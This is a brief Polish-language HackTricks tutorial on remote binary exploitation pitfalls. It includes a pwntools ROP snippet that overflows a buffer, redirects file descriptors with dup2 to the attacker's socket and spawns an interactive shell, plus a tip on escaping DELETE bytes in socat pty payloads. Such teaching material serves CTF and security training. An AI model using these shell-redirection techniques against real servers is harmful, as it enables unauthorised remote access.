Common Exploiting Problems
Reading time: 2 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
FDs w Zdalnym Wykorzystaniu
Kiedy wysyłasz exploit do zdalnego serwera, który wywołuje system('/bin/sh')
, to zostanie on wykonany w procesie serwera, a /bin/sh
będzie oczekiwał na dane wejściowe z stdin (FD: 0
) i będzie wypisywał wyniki na stdout i stderr (FDs 1
i 2
). Tak więc atakujący nie będzie mógł interagować z powłoką.
Sposobem na naprawienie tego jest założenie, że kiedy serwer został uruchomiony, utworzył FD numer 3
(do nasłuchiwania), a następnie twoje połączenie będzie w FD numer 4
. Dlatego możliwe jest użycie syscall dup2
do zduplikowania stdin (FD 0) i stdout (FD 1) w FD 4 (tym od połączenia atakującego), co umożliwi kontakt z powłoką, gdy zostanie ona wykonana.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Zauważ, że socat już przesyła stdin
i stdout
do gniazda. Jednak tryb pty
zawiera znaki DELETE. Więc, jeśli wyślesz \x7f
( DELETE
-) to usunie poprzedni znak twojego exploita.
Aby to obejść, znak ucieczki \x16
musi być dodany przed każdym wysłanym \x7f
.
Tutaj możesz znaleźć przykład tego zachowania.
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.